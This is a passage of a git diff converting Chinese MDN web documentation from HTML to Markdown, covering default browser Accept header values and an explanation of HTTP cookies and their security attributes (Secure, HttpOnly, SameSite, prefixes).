    +不幸的是,HTTP 标准没有明确指定提供可选资源链接的页面的格式,这一点阻碍了将这一过程无痛自动化。除了退回至服务端驱动型内容协商机制外,这种自动化方法几乎无一例外都是通过脚本技术来完成的,尤其是 JavaScript 重定向技术:在检测了协商的条件之后,脚本会触发重定向动作。另外一个问题是,为了获得实际的资源,需要额外发送一次请求,减慢了将资源呈现给用户的速度。 diff --git a/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.md b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.md index a730e313190f3c..7229298af4327b 100644 --- a/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.md +++ b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.md @@ -4,246 +4,78 @@ slug: Web/HTTP/Content_negotiation/List_of_default_Accept_values translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values original_slug: Web/HTTP/Content_negotiation/Accept_默认值 --- -
    {{HTTPSidebar}}
    - -

    本文介绍了在一些特定输入和浏览器版本下的 HTTP Accept 头的默认值

    - -

    默认值

    - -

    这些值将在上下文未设置其它信息时被使用。 注意:所有的浏览器都会添加 */* MIME 类型以涵盖各种情况。这通常用于通过浏览器的地址栏或 HTML {{HTMLElement("a")}} 标签发起的请求。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    User Agent Value Comment
    Firefoxtext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    -
    这个值可以通过network.http.accept.default 参数来修改。
    Safari, Chrome -

    application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5

    -
    source
    Safari 5 -

    text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    -
    这是对早期 Accept 头的改进,不再把 image/png 排在 text/html 之前。
    Internet Explorer 8image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* 请参见 IE and the Accept Header (IEInternals' MSDN blog).
    Edgetext/html, application/xhtml+xml, image/jxr, */*
    Operatext/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    - -

    image 请求

    - -

    当请求一张图片时, 比如一个 HTML {{HTMLElement("img")}} 元素,用户代理通常会设置一个特定的媒体类型列表。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    User AgentValueComment
    Firefox*/* (since Firefox 47)
    - image/png,image/*;q=0.8,*/*;q=0.5 (before)
    这个值可以通过 image.http.accept 参数修改。
    Safari*/*
    Chromeimage/webp,image/*,*/*;q=0.8 在支持 webp 格式之前,是使用的 */*
    Internet Explorer 8 及更早版本*/* 请参见 IE and the Accept Header (IEInternals' MSDN blog)
    Internet Explorer 9image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
    - -

    video 请求

    - -

    通过 HTML {{HTMLElement("video")}} 元素请求一个 video 时, 大多数浏览器会使用特定值。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    User AgentValueComment
    Firefox 3.6 之前的版本 不支持 {{HTMLElement("video")}}
    Firefox 3.6 及以上版本audio/webm, audio/ogg, audio/wav, audio/*;q=0.9, application/ogg;q=0.7, video/*;q=0.6; */*;q=0.5 请参见bug 489071
    Chrome*/*
    Internet Explorer 8 或更早的版本 不支持 {{HTMLElement("video")}}
    - -

    audio 请求

    - -

    通过 HTML {{HTMLElement("audio")}} 元素请求 audio 资源时, 大多数浏览器会使用特定值。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    User AgentValueComment
    Firefox 3.6 及以上版本audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5See bug 489071
    Safari, Chrome?
    Internet Explorer 8 及更早版本 不支持 {{HTMLElement("audio")}}
    Internet Explorer 9?
    - -

    scripts 请求

    - -

    当通过 {{HTMLElement("script")}} 元素请求 script 时, 一些浏览器使用特定值。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    User AgentValueComment
    Firefox*/* 请参见bug 170789
    Safari, Chrome*/*
    Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
    Internet Explorer 9application/javascript, */*;q=0.8请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
    - -

    CSS 请求

    - -

    当通过 <link rel="stylesheet"> HTML 元素请求 CSS 样式表时, 大多数浏览器使用特定值。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    User AgentValueComment
    Firefox 4text/css,*/*;q=0.1 请参见bug 170789
    Safari 5text/css,*/*;q=0.1
    Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
    Internet Explorer 9text/css请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
    Chrome 12text/css,*/*;q=0.1
    Opera 11.10text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Konqueror 4.6text/css,*/*;q=0.1
    +{{HTTPSidebar}} + +本文介绍了在一些特定输入和浏览器版本下的 HTTP [`Accept`](/zh-CN/docs/Web/HTTP/Headers/Accept) 头的默认值 + +## 默认值 + +这些值将在上下文未设置其它信息时被使用。 注意:所有的浏览器都会添加 `*/*` MIME 类型以涵盖各种情况。这通常用于通过浏览器的地址栏或 HTML {{HTMLElement("a")}} 标签发起的请求。 + +| User Agent | Value | Comment | +| ------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | +| Firefox | `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8` | `这个值可以通过network.http.accept.default` 参数来修改。 | +| Safari, Chrome | `application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5` | [source](http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers) | +| Safari 5 | `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8` | 这是对早期 `Accept` 头的改进,不再把 `image/png` 排在 `text/html` 之前。 | +| Internet Explorer 8 | `image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*` | 请参见 [IE and the Accept Header (IEInternals' MSDN blog)](http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx). | +| Edge | text/html, application/xhtml+xml, image/jxr, _/_ | | +| Opera | `text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1` | | + +## image 请求 + +当请求一张图片时, 比如一个 HTML {{HTMLElement("img")}} 元素,用户代理通常会设置一个特定的媒体类型列表。 + +| User Agent | Value | Comment | +| ------------------------------ | --------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Firefox | `*/*` (since Firefox 47) `image/png,image/*;q=0.8,*/*;q=0.5` (before) | 这个值可以通过 `image.http.accept` 参数修改。 | +| Safari | `*/*` | | +| Chrome | `image/webp,image/*,*/*;q=0.8` | 在支持 webp 格式之前,是使用的 `*/*` | +| Internet Explorer 8 及更早版本 | `*/*` | 请参见 [IE and the Accept Header (IEInternals' MSDN blog)](http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx) | +| Internet Explorer 9 | `image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5` | 请参见 [Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)](http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx) | + +## video 请求 + +通过 HTML {{HTMLElement("video")}} 元素请求一个 video 时, 大多数浏览器会使用特定值。 + +| User Agent | Value | Comment | +| -------------------------------- | -------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- | +| Firefox 3.6 之前的版本 | _不支持 {{HTMLElement("video")}}_ | | +| Firefox 3.6 及以上版本 | `audio/webm, audio/ogg, audio/wav, audio/*;q=0.9, application/ogg;q=0.7, video/*;q=0.6; */*;q=0.5` | 请参见[bug 489071](https://bugzilla.mozilla.org/show_bug.cgi?id=489071) | +| Chrome | `*/*` | | +| Internet Explorer 8 或更早的版本 | _不支持 {{HTMLElement("video")}}_ | | + +## audio 请求 + +通过 HTML {{HTMLElement("audio")}} 元素请求 audio 资源时, 大多数浏览器会使用特定值。 + +| User Agent | Value | Comment | +| ------------------------------ | -------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- | +| Firefox 3.6 及以上版本 | `audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5` | See [bug 489071](https://bugzilla.mozilla.org/show_bug.cgi?id=489071) | +| Safari, Chrome | ? | | +| Internet Explorer 8 及更早版本 | _不支持 {{HTMLElement("audio")}}_ | | +| Internet Explorer 9 | ? | | + +## scripts 请求 + +当通过 {{HTMLElement("script")}} 元素请求 script 时, 一些浏览器使用特定值。 + +| User Agent | Value | Comment | +| ------------------------------ | ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Firefox | `*/*` | 请参见[bug 170789](https://bugzilla.mozilla.org/show_bug.cgi?id=170789) | +| Safari, Chrome | `*/*` | | +| Internet Explorer 8 及更早版本 | `*/*` | 请参见 [IE and the Accept Header (IEInternals' MSDN blog)](http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx) | +| Internet Explorer 9 | `application/javascript, */*;q=0.8` | 请参见 [Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)](http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx) | + +## CSS 请求 + +当通过 `` HTML 元素请求 CSS 样式表时, 大多数浏览器使用特定值。 + +| User Agent | Value | Comment | +| ------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Firefox 4 | `text/css,*/*;q=0.1` | 请参见[bug 170789](https://bugzilla.mozilla.org/show_bug.cgi?id=170789) | +| Safari 5 | `text/css,*/*;q=0.1` | | +| Internet Explorer 8 及更早版本 | `*/*` | 请参见 [IE and the Accept Header (IEInternals' MSDN blog)](http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx) | +| Internet Explorer 9 | `text/css` | 请参见 [Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)](http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx) | +| Chrome 12 | `text/css,*/*;q=0.1` | | +| Opera 11.10 | `text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1` | | +| Konqueror 4.6 | `text/css,*/*;q=0.1` | | diff --git a/files/zh-cn/web/http/cookies/index.md b/files/zh-cn/web/http/cookies/index.md index 7f4fce9324e74e..b187d769577faa 100644 --- a/files/zh-cn/web/http/cookies/index.md +++ b/files/zh-cn/web/http/cookies/index.md @@ -6,286 +6,260 @@ tags: - HTTP translation_of: Web/HTTP/Cookies --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。

    +HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于[无状态](/zh-CN/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless)的 HTTP 协议记录稳定的状态信息成为了可能。 -

    Cookie 主要用于以下三个方面:

    +Cookie 主要用于以下三个方面: -
      -
    • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
    • -
    • 个性化设置(如用户自定义设置、主题等)
    • -
    • 浏览器行为跟踪(如跟踪分析用户行为等)
    • -
    +- 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息) +- 个性化设置(如用户自定义设置、主题等) +- 浏览器行为跟踪(如跟踪分析用户行为等) -

    Cookie 曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie 渐渐被淘汰。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB

    +Cookie 曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie 渐渐被淘汰。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 [Web storage API](/zh-CN/docs/Web/API/Web_Storage_API) (本地存储和会话存储)或 [IndexedDB](/zh-CN/docs/Web/API/IndexedDB_API) 。 -
    -

    要查看 Cookie 存储(或网页上能够使用其他的存储方式),你可以在开发者工具中启用存储查看Storage Inspector )功能,并在存储树上选中Cookie

    -
    +> **备注:** 要查看 Cookie 存储(或网页上能够使用其他的存储方式),你可以在开发者工具中启用**存储查看**([Storage Inspector](/zh-CN/docs/Tools/Storage_Inspector) )功能,并在存储树上选中**Cookie**。 -

    创建 Cookie

    +## 创建 Cookie -

    当服务器收到 HTTP 请求时,服务器可以在响应头里面添加一个 {{HTTPHeader("Set-Cookie")}} 选项。浏览器收到响应后通常会保存下 Cookie,之后对该服务器每一次请求中都通过 {{HTTPHeader("Cookie")}} 请求头部将 Cookie 信息发送给服务器。另外,Cookie 的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。

    +当服务器收到 HTTP 请求时,服务器可以在响应头里面添加一个 {{HTTPHeader("Set-Cookie")}} 选项。浏览器收到响应后通常会保存下 Cookie,之后对该服务器每一次请求中都通过 {{HTTPHeader("Cookie")}} 请求头部将 Cookie 信息发送给服务器。另外,Cookie 的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。 -

    Set-Cookie 响应头部Cookie 请求头部

    +### `Set-Cookie 响应头部`和`Cookie 请求头部` -

    服务器使用 {{HTTPHeader("Set-Cookie")}} 响应头部向用户代理(一般是浏览器)发送 Cookie 信息。一个简单的 Cookie 可能像这样:

    +服务器使用 {{HTTPHeader("Set-Cookie")}} 响应头部向用户代理(一般是浏览器)发送 Cookie 信息。一个简单的 Cookie 可能像这样: -
    Set-Cookie: <cookie 名>=<cookie 值>
    +```plain +Set-Cookie: = +``` -

    服务器通过该头部告知客户端保存 Cookie 信息。

    +服务器通过该头部告知客户端保存 Cookie 信息。 -
    HTTP/1.0 200 OK
    +```plain
    +HTTP/1.0 200 OK
     Content-type: text/html
     Set-Cookie: yummy_cookie=choco
     Set-Cookie: tasty_cookie=strawberry
     
    -[页面内容]
    +[页面内容] +``` -

    现在,对该服务器发起的每一次新请求,浏览器都会将之前保存的 Cookie 信息通过 {{HTTPHeader("Cookie")}} 请求头部再发送给服务器。

    +现在,对该服务器发起的每一次新请求,浏览器都会将之前保存的 Cookie 信息通过 {{HTTPHeader("Cookie")}} 请求头部再发送给服务器。 -
    GET /sample_page.html HTTP/1.1
    +```plain
    +GET /sample_page.html HTTP/1.1
     Host: www.example.org
    -Cookie: yummy_cookie=choco; tasty_cookie=strawberry
    +Cookie: yummy_cookie=choco; tasty_cookie=strawberry +``` -
    -

    提示: 如何在以下几种服务端程序中设置 Set-Cookie 响应头信息 :

    +> **备注:** 如何在以下几种服务端程序中设置 `Set-Cookie` 响应头信息: +> +> - [PHP](https://secure.php.net/manual/en/function.setcookie.php) +> - [Node.JS](https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value) +> - [Python](https://docs.python.org/3/library/http.cookies.html) +> - [Ruby on Rails](https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) - -
    +### 定义 Cookie 的生命周期 - +Cookie 的生命周期可以通过两种方式定义: -

    Cookie 的生命周期可以通过两种方式定义:

    +- 会话期 Cookie 是最简单的 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期 Cookie 不需要指定过期时间(`Expires`)或者有效期(`Max-Age`)。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期 Cookie 也会被保留下来,就好像浏览器从来没有关闭一样,这会导致 Cookie 的生命周期无限期延长。 +- 持久性 Cookie 的生命周期取决于过期时间(`Expires`)或有效期(`Max-Age`)指定的一段时间。 -
      -
    • 会话期 Cookie 是最简单的 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期 Cookie 不需要指定过期时间(Expires)或者有效期(Max-Age)。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期 Cookie 也会被保留下来,就好像浏览器从来没有关闭一样,这会导致 Cookie 的生命周期无限期延长。
    • -
    • 持久性 Cookie 的生命周期取决于过期时间(Expires)或有效期(Max-Age)指定的一段时间。
    • -
    +例如: -

    例如:

    +```plain +Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; +``` -
    Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
    +> **备注:** 当 Cookie 的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。 -
    -

    提示:当 Cookie 的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。

    -
    +如果您的站点对用户进行身份验证,则每当用户进行身份验证时,它都应重新生成并重新发送会话 Cookie,甚至是已经存在的会话 Cookie。此技术有助于防止[会话固定攻击(session fixation attacks)](/zh-CN/docs/Web/Security/Types_of_attacks#Session_fixation),在该攻击中第三方可以重用用户的会话。 -

    如果您的站点对用户进行身份验证,则每当用户进行身份验证时,它都应重新生成并重新发送会话 Cookie,甚至是已经存在的会话 Cookie。此技术有助于防止会话固定攻击(session fixation attacks),在该攻击中第三方可以重用用户的会话。

    +### 限制访问 Cookie - +有两种方法可以确保 `Cookie` 被安全发送,并且不会被意外的参与者或脚本访问:`Secure` 属性和`HttpOnly` 属性。 -

    有两种方法可以确保 Cookie 被安全发送,并且不会被意外的参与者或脚本访问:Secure 属性和HttpOnly 属性。

    +标记为 `Secure` 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端,因此可以预防 {{Glossary("MitM", "man-in-the-middle")}} 攻击者的攻击。但即便设置了 `Secure` 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,`Secure` 标记也无法提供确实的安全保障,例如,可以访问客户端硬盘的人可以读取它。 -

    标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端,因此可以预防 {{Glossary("MitM", "man-in-the-middle")}} 攻击者的攻击。但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure 标记也无法提供确实的安全保障,例如,可以访问客户端硬盘的人可以读取它。

    +> **备注:** 从 Chrome 52 和 Firefox 52 开始,不安全的站点(`http:`)无法使用 Cookie 的 `Secure` 标记。 -
    -

    从 Chrome 52 和 Firefox 52 开始,不安全的站点(http:)无法使用 Cookie 的 Secure 标记。

    -
    +JavaScript {{domxref("Document.cookie")}} API 无法访问带有 `HttpOnly` 属性的 cookie;此类 Cookie 仅作用于服务器。例如,持久化服务器端会话的 Cookie 不需要对 JavaScript 可用,而应具有 `HttpOnly` 属性。此预防措施有助于缓解[跨站点脚本(XSS)]()攻击。 -

    JavaScript {{domxref("Document.cookie")}} API 无法访问带有 HttpOnly 属性的 cookie;此类 Cookie 仅作用于服务器。例如,持久化服务器端会话的 Cookie 不需要对 JavaScript 可用,而应具有 HttpOnly 属性。此预防措施有助于缓解跨站点脚本(XSS)攻击。

    +示例: -

    示例:

    +```plain +Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly +``` -
    Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
    +### Cookie 的作用域 - +`Domain` 和 `Path` 标识定义了 Cookie 的*作用域:*即允许 Cookie 应该发送给哪些 URL。 -

    DomainPath 标识定义了 Cookie 的作用域:即允许 Cookie 应该发送给哪些 URL。

    +#### Domain 属性 -

    Domain 属性

    +`Domain` 指定了哪些主机可以接受 Cookie。如果不指定,默认为 {{Glossary("origin")}},**不包含子域名**。如果指定了`Domain`,则一般包含子域名。因此,指定 `Domain` 比省略它的限制要少。但是,当子域需要共享有关用户的信息时,这可能会有所帮助。 -

    Domain 指定了哪些主机可以接受 Cookie。如果不指定,默认为 {{Glossary("origin")}},不包含子域名。如果指定了Domain,则一般包含子域名。因此,指定 Domain 比省略它的限制要少。但是,当子域需要共享有关用户的信息时,这可能会有所帮助。

    +例如,如果设置 `Domain=mozilla.org`,则 Cookie 也包含在子域名中(如`developer.mozilla.org`)。 -

    例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如developer.mozilla.org)。

    +> **备注:** 当前大多数浏览器遵循 [RFC 6265](http://tools.ietf.org/html/rfc6265),设置 Domain 时 不需要加前导点。浏览器不遵循该规范,则需要加前导点,例如:`Domain=.mozilla.org` -
    -

    当前大多数浏览器遵循 RFC 6265,设置 Domain 时 不需要加前导点。浏览器不遵循该规范,则需要加前导点,例如:Domain=.mozilla.org

    -
    +#### Path 属性 -

    Path 属性

    +`Path` 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 `%x2F` ("/") 作为路径分隔符,子路径也会被匹配。 -

    Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。

    +例如,设置 `Path=/docs`,则以下地址都会匹配: -

    例如,设置 Path=/docs,则以下地址都会匹配:

    +- `/docs` +- `/docs/Web/` +- `/docs/Web/HTTP` -
      -
    • /docs
    • -
    • /docs/Web/
    • -
    • /docs/Web/HTTP
    • -
    +#### SameSite attribute -

    SameSite attribute

    +`SameSite` Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,(其中 {{Glossary("Site")}} 由可注册域定义),从而可以阻止跨站请求伪造攻击({{Glossary("CSRF")}})。 -

    SameSite Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,(其中 {{Glossary("Site")}} 由可注册域定义),从而可以阻止跨站请求伪造攻击({{Glossary("CSRF")}})。

    +SameSite cookies 是相对较新的一个字段,[所有主流浏览器都已经得到支持](/zh-CN/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility)。 -

    SameSite cookies 是相对较新的一个字段,所有主流浏览器都已经得到支持

    +下面是例子: -

    下面是例子:

    +```js +Set-Cookie: key=value; SameSite=Strict +``` -
    Set-Cookie: key=value; SameSite=Strict
    +SameSite 可以有下面三种值: -

    SameSite 可以有下面三种值:

    +- **`None`**。浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。 +- **`Strict`**。浏览器将只在访问相同站点时发送 cookie。(在原有 Cookies 的限制条件上的加强,如上文 “Cookie 的作用域” 所述) +- **`Lax`**。与 **`Strict`** 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。 在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接 -
      -
    • None浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。
    • -
    • Strict浏览器将只在访问相同站点时发送 cookie。(在原有 Cookies 的限制条件上的加强,如上文 “Cookie 的作用域” 所述)
    • -
    • LaxStrict 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。 在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接
    • -
    +> **备注:** 以前,如果 SameSite 属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于 None,Cookies 会被包含在任何请求中——包括跨站请求。大多数主流浏览器正在将 [SameSite 的默认值迁移至 Lax](https://www.chromestatus.com/feature/5088147346030592)。如果想要指定 Cookies 在同站、跨站请求都被发送,现在需要明确指定 SameSite 为 None。 -
    -

    以前,如果 SameSite 属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于 None,Cookies 会被包含在任何请求中——包括跨站请求。

    +#### Cookie prefixes -

    大多数主流浏览器正在将 SameSite 的默认值迁移至 Lax。如果想要指定 Cookies 在同站、跨站请求都被发送,现在需要明确指定 SameSite 为 None。

    -
    +cookie 的机制使得服务器无法确认 cookie 是在安全来源上设置的,甚至无法确定 cookie 最初是在哪里设置的。 - +子域上的易受攻击的应用程序可以使用 Domain 属性设置 cookie,从而可以访问所有其他子域上的该 cookie。会话固定攻击中可能会滥用此机制。有关主要缓解方法,请参阅[会话劫持( session fixation)](/zh-CN/docs/Web/Security/Types_of_attacks#Session_fixation)。 -

    cookie 的机制使得服务器无法确认 cookie 是在安全来源上设置的,甚至无法确定 cookie 最初是在哪里设置的。

    +但是,作为[深度防御措施](),可以使用 cookie 前缀来断言有关 cookie 的特定事实。有两个前缀可用: -

    子域上的易受攻击的应用程序可以使用 Domain 属性设置 cookie,从而可以访问所有其他子域上的该 cookie。会话固定攻击中可能会滥用此机制。有关主要缓解方法,请参阅会话劫持( session fixation)

    +- `__Host-` + - : 如果 cookie 名称具有此前缀,则仅当它也用 `Secure` 属性标记,是从安全来源发送的,不包括 `Domain` 属性,并将 `Path` 属性设置为 `/` 时,它才在 {{HTTPHeader("Set-Cookie")}} 标头中接受。这样,这些 cookie 可以被视为 "domain-locked”。 +- `__Secure-` + - : 如果 cookie 名称具有此前缀,则仅当它也用 `Secure` 属性标记,是从安全来源发送的,它才在 {{HTTPHeader("Set-Cookie")}} 标头中接受。该前缀限制要弱于 `__Host-` 前缀。 -

    但是,作为深度防御措施,可以使用 cookie 前缀来断言有关 cookie 的特定事实。有两个前缀可用:

    +带有这些前缀点 Cookie, 如果不符合其限制的会被浏览器拒绝。请注意,这确保了如果子域要创建带有前缀的 cookie,那么它将要么局限于该子域,要么被完全忽略。由于应用服务器仅在确定用户是否已通过身份验证或 CSRF 令牌正确时才检查特定的 cookie 名称,因此,这有效地充当了针对会话劫持的防御措施。 -
    -
    __Host-
    -
    如果 cookie 名称具有此前缀,则仅当它也用 Secure 属性标记,是从安全来源发送的,不包括 Domain 属性,并将 Path 属性设置为 / 时,它才在 {{HTTPHeader("Set-Cookie")}} 标头中接受。这样,这些 cookie 可以被视为 "domain-locked”。
    -
    __Secure-
    -
    如果 cookie 名称具有此前缀,则仅当它也用 Secure 属性标记,是从安全来源发送的,它才在 {{HTTPHeader("Set-Cookie")}} 标头中接受。该前缀限制要弱于 __Host- 前缀。
    -
    +> **备注:** 在应用程序服务器上,Web 应用程序**必须**检查完整的 cookie 名称,包括前缀 —— 用户代理程序在从请求的 {{HTTPHeader("Cookie")}} 标头中发送前缀之前,**不会**从 cookie 中剥离前缀。 -

    带有这些前缀点 Cookie, 如果不符合其限制的会被浏览器拒绝。请注意,这确保了如果子域要创建带有前缀的 cookie,那么它将要么局限于该子域,要么被完全忽略。由于应用服务器仅在确定用户是否已通过身份验证或 CSRF 令牌正确时才检查特定的 cookie 名称,因此,这有效地充当了针对会话劫持的防御措施。

    +有关 cookie 前缀和浏览器支持的当前状态的更多信息,请参阅 [Prefixes section of the Set-Cookie reference article](/zh-CN/docs/Web/HTTP/Headers/Set-Cookie#Cookie_prefixes)。 -
    -

    在应用程序服务器上,Web 应用程序必须检查完整的 cookie 名称,包括前缀 —— 用户代理程序在从请求的 {{HTTPHeader("Cookie")}} 标头中发送前缀之前,不会从 cookie 中剥离前缀。

    -
    +#### JavaScript 通过 Document.cookie 访问 Cookie -

    有关 cookie 前缀和浏览器支持的当前状态的更多信息,请参阅 Prefixes section of the Set-Cookie reference article

    +通过 {{domxref("Document.cookie")}} 属性可创建新的 Cookie,也可通过该属性访问非`HttpOnly`标记的 Cookie。 - - -

    通过 {{domxref("Document.cookie")}} 属性可创建新的 Cookie,也可通过该属性访问非HttpOnly标记的 Cookie。

    - -
    document.cookie = "yummy_cookie=choco";
    +```js
    +document.cookie = "yummy_cookie=choco";
     document.cookie = "tasty_cookie=strawberry";
     console.log(document.cookie);
    -// logs "yummy_cookie=choco; tasty_cookie=strawberry"
    - -

    通过 JavaScript 创建的 Cookie 不能包含 HttpOnly 标志。

    +// logs "yummy_cookie=choco; tasty_cookie=strawberry" +``` -

    请留意在安全章节提到的安全隐患问题,JavaScript 可以通过跨站脚本攻击(XSS)的方式来窃取 Cookie。

    +通过 JavaScript 创建的 Cookie 不能包含 HttpOnly 标志。 -

    安全

    +请留意在[安全](/zh-CN/docs/Web/HTTP/Cookies#Security)章节提到的安全隐患问题,JavaScript 可以通过跨站脚本攻击(XSS)的方式来窃取 Cookie。 -
    -

    信息被存在 Cookie 中时,需要明白 cookie 的值是可以被访问,且可以被终端用户所修改的。根据应用程序的不同,可能需要使用服务器查找的不透明标识符,或者研究诸如 JSON Web Tokens 之类的替代身份验证/机密机制。

